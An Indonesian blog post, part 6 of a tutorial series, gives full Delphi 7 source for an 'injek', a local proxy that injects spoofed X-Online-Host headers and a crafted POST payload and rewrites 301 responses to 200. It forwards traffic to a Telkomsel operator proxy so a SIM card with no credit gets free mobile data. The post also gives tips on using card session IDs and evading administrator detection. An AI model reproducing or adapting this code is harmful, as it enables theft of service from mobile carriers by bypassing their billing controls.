Video Tutorial Lanjutan Buat Payload Redirect 301 Bagian ke 6

Berikut adalah informasi Video TutoriaL Lanjutan Buat Payload Redirect 301 Bagian ke 6 Tutorial ini merupakan tutorial lanjutan dari postingan Cara Membuat Payload Redirect 301 Tutorial Bagian 5 ok dan sebelumnya juga saya sudah berbagi informasi seputar dunia musik yaitu Download Lirik Lagu Woyo Woyo Soimah MP3 Terbaru 2015 ok tanpa panjang lebar lagi bagi sahabat semuanya yang ingin mencobanya atau menyimaknya silahkan bisa dilihat dibawah ini dan selamat menyaksikan;

Cara Membuat Injek Sederhana Dengan Delphi 7
--------------Lanjutan Tutorial 301 Moved Permanently Bagian 6 ------------------

****SC Yang Saya Gunakan di Video ini SC Biasa Telkomsel Nol Pulsa Nol Data- Simpati************

1. Ini Adalah Lanjutan Dari Tutorial Dasar 301 Moved Permanently Bagian 5
2. Hasil Terbaik Payload 301 Moved Permanently Pastikan Body Merespone
3. AThread.NetData data akan diambil secara menyeluruh dari setiap procedure
4. Menggunakan Memo.Lines.Add untuk melihat hasil sebenarnya apakah fungsi excute dan outdata sudah tepat
5. Jika Menambahkan fungsi header baru pastikan fungsi tersebut digunakan
6. Kunci Keberhasil Injek Apakah Bisa Speed Bagus dan anti limit terletak pada session id kartu yang anda gunakan untuk menghubungi servers yang anda hubungi, karena session id juga yang diterapkan oleh seluruh operator yang ada dimuka bumi ini.

7. Kode Syntax Dasar yang akan ditambahkan pada execute adalah (Pilih Salah Satu dan sesuaikan):

lihat disini: http://www.indoblog.me/2015/04/diagram-execute-sederhana-untuk-injek.html

8. Kode Dibawah ini adalah kode yang pernah saya share di video sebelumnya;

var header: string;
begin
if (Pos('HTTP/1.1 301 Moved Permanently',AThread.NetData)<>0) then begin
Header:= StringReplace(AThread.NetData,'HTTP/1.1 301 Moved Permanently','HTTP/1.1 200 OK',[rfReplaceAll, rfIgnoreCase]);
end else

var request: string;
begin
if (Pos('CONNECT ''HTTP/1.0',AThread.NetData)<>0) then begin
Request := ('POST http://m.berniaga.com/HTTP/1.1'+%0d%0a'Host: m.berniaga.com'+%0d%0a'Accept: */*'+%0d%0a'Connection: keep-alive'+%0d%0a'X-Online-Host: http://m.olx.co.id/'+%0d%0a%0d%0a);

9. Dibawah ini adalah listing program yang akan digunakan seperti kebanyakan.

zonksel:boolean;

function AddHeader(header, Newheader:string):string;
const
CRLF = '%0d%0a';
begin
header := StringReplace(header, CRLF + CRLF , CRLF + Newheader + CRLF + CRLF, [rfReplaceAll]);
Result := header;
end;

If zonksel then
begin
zonksel :=False;
SpeedButton1.Caption :='CONNECT';
Latihan301TCP.Active := False;
Latihan301TCP.Bindings.Clear;
end else
begin

zonksel :=True;
SpeedButton1.Caption :='DISCONNECT';
Latihan301TCP.Bindings.Add.IP := '127.0.0.1';
Latihan301TCP.Bindings.Add.Port := StrToInt ('8877');
Latihan301TCP.MappedHost := ('10.1.89.130'); // Samakan Dengan Proxy Operator Masing-Masing
Latihan301TCP.MappedPort := StrToInt('8000'); // Samakan Dengan Port Operator Masing-Masing
Latihan301TCP.Active := True;

10. Untuk Kebaikan Kita Bersama beberapa tekhnik tidak saya buka ke publik/umum dan video ini hanya sebatas sebagai basis dan untuk pelajaran saja dan sewaktu waktu atau kapan saja payload yang ada di video tutorial ini beserta bugsnya akan ditutup pihak operator yang bersangkutan.

11. Dibawah ini adalah listing Program Jadinya:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPServer, IdMappedPortTCP,
  Buttons, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Memo2: TMemo;
    SpeedButton1: TSpeedButton;
    Latihan301TCP: TIdMappedPortTCP;
    procedure SpeedButton1Click(Sender: TObject);
    procedure Latihan301TCPOutboundData(AThread: TIdMappedPortThread);
    procedure Latihan301TCPExecute(AThread: TIdMappedPortThread);
  private
  zonksel:boolean;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function AddHeader(header, Newheader:string):string;
const
CRLF = '%0d%0a';
begin
header := StringReplace(header, CRLF + CRLF , CRLF + Newheader + CRLF + CRLF, [rfReplaceAll]);
Result := header;
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
If zonksel then
begin
zonksel :=False;
SpeedButton1.Caption :='CONNECT';
Latihan301TCP.Active := False;
Latihan301TCP.Bindings.Clear;
end else
begin

zonksel :=True;
SpeedButton1.Caption :='DISCONNECT';
Latihan301TCP.Bindings.Add.IP := '127.0.0.1';
Latihan301TCP.Bindings.Add.Port := StrToInt ('8877');
Latihan301TCP.MappedHost := ('10.1.89.130'); // Samakan Dengan Proxy Operator Masing-Masing
Latihan301TCP.MappedPort := StrToInt('8000'); // Samakan Dengan Port Operator Masing-Masing
Latihan301TCP.Active := True;
end;
end;
procedure TForm1.Latihan301TCPOutboundData(AThread: TIdMappedPortThread);
const
CRLF = '%0d%0a'; // Char ini bisa anda ganti dengan char diagram yang sudah saya berikan
var header: string;
begin
Memo1.Lines.Add(Athread.Netdata);
if (Pos('HTTP/1.1 301 Moved Permanently',AThread.NetData)<>0) then begin
Header:= StringReplace(AThread.NetData,'HTTP/1.1 301 Moved Permanently','HTTP/1.1 200 OK'+ CRLF ,[rfReplaceAll,rfIgnoreCase]);
end else
end;

procedure TForm1.Latihan301TCPExecute(AThread: TIdMappedPortThread);
const
CRLF = '%0d%0a'; // Char ini bisa anda ganti dengan char diagram yang sudah saya berikan
var request: string;
begin
Memo1.Lines.Add(Athread.Netdata);
if (Pos('CONNECT ''HTTP/1.0 ',AThread.NetData)<>0) then begin
Athread.Netdata := AddHeader(Athread.Netdata,'X-Online-Host: http://m.olx.co.id/'+ CRLF); // ini adalah server redirect tujuan utamanya
Request := ('POST http://m.berniaga.com/HTTP/1.1'+ CRLF +'Host: m.berniaga.com'+ CRLF +'Accept: */*'+CRLF +'Connection: keep-alive'+ CRLF + CRLF); // ini adalah payload utama redirect 301
Athread.OutboundClient.Write(athread.netdata); Sleep (500); // kita write secara keseluruhan pada bagian execute setelah request payload
Athread.Netdata := Request;
Request := '';
end else
end;

end.

// Sehubung saya sibuk jadi mohon maaf saya tidak bisa jelaskan lebih rinci saya kasih jadinya saja
// dan silahkan pelajari perbedaannya dan sudah saya sertakan dengan link download source codenya diakhir postingan
 // kunci utamanya pastikan system pc/komputer anda disetting dengan benar silahkan cari kembali tutorial cara setting windows 7 untuk internet gratis
// Silahkan dicoba pastikan settingan pc anda benar untuk hasil terbaik terutama yang ada hubungannya dengan registry dan firewall.

--------------------------------------------------------

Next Video: Membuat Payload 403 Forbidden (Live Video), Membuat Payload 302 Found (Live Video), Vertical Payload Technique (Live Video), Menghitung Nilai Methode Terbaik (Live Video), Menghitung Nilai CRLF Yang Tepat (Live Video), Tekhnik Stream Menggambungkan IdMappedPortTCP1 dengan IdHTTPServer1 (Live Video), Formula Ampuh Membuat Injek DLL Sebagai Injek Generasi Baru 2016 Masa Depan (Live Video), Membongkar Rahasia Internetan Tanpa Injek Tanpa SSH, RDP dan VPN (Live Video), Membuat Payload Automatis Dasar (Live Video)..... dll..... 

-----------------By Capsa Channel---------------

Perhatian: Dalam Ujicoba jangan Gunakan Pulsa Sepeserpun kalau perlu gunakan kartu yang tidak ada pulsa 1 rupiah pun, jika tidak konek pastikan session id yang ada pada tutor sebelumnya sudah tepat, jadi jika anda menggunakan kartu yang berbeda untuk video yang sebelumnya dengan video yang ini kemungkinan besar 100000% tidak akan berhasil terkecuali SC Yang sahabat gunakan ada pulsa dan paket datanya pasti berhasil tetapi itu akan terkuras habis, jadi misalkan jika payload ini berhasil berarti system telah menanggapi id card kartu anda dengan respone 200, jika anda mau mengganti kartu dengan yang lainnya buat dulu session id untuk kartu yang akan anda gunakan dengan tujuan agar di tkp sobat tidak mudah mati saja,, klo sobat dan sahabat tidak mau ribet dengan cara ini silahkan gunakan "PREMIUM INTERNET" :) konsep ini merupakan konsep terbaru di 2015,, oleh karena itu kenapa 1 injek yang sama jika banyak menggunakannya akan cepat mudah coid karena sampah-sampah bekas upload dan download anda akan terpacu dan tertumpu pada satu titik celah yang sama sehingga jika administrator kebetulan memeriksa pada bagian tsb maka sangat jelas akan mudah terbaca dan dicurigai dan itulah konsep sebenarnya yang dinamakan "BUGS COID " "BUGS MATI" bukan berarti akses ke hostname yang bersangkutan dimatikan, karena ada konsekwensi yang harus ditanggung servers tersebut jika klien tidak bisa akses ke hostname kecuali ada pengalihan terbaru dengan servers terbaru yang tanpa diketahui oleh klien,,,

Video sebelumnya sebenarnya yang saya share ada bagian untuk memproteksi kode IMSI dan ISDN dan saya rasa pasti anda tahu jawabannya klo belum tahu silahkan cari tahu he he he:

CATATAN PENTING SETELAH 5 JAM YANG LALU VIDEO TUTOR INI DIUPLOAD: Tutorial 301 Moved Permanently ini akan dilanjut Kembali pada bagian 7 karena permintaan teman2 tujuannya untuk lebih memperjelas dan memperhalus pada bagian execute dan mudah2an bisa di jelaskan lebih rinci dan detail ditunggu saja ya dan "SUKSES YA SAY".... He he

Video Tutorialnya Silahkan simak dibawah ini:



Mohon maaf untuk upload source code jadinya dibatalkan,,, Hanya itu saja informasi seputar TutoriaL Lanjutan Buat Payload Redirect 301 Bagian ke 6 Terbaru 2015 semoga bermanfaat dan terima kasih dan tunggu saja untuk bagian yang ketujuhnya.

Selanjutnya; Cara Membuat Open VPN Sendiri Dengan Delphi 7 Terbaru 2015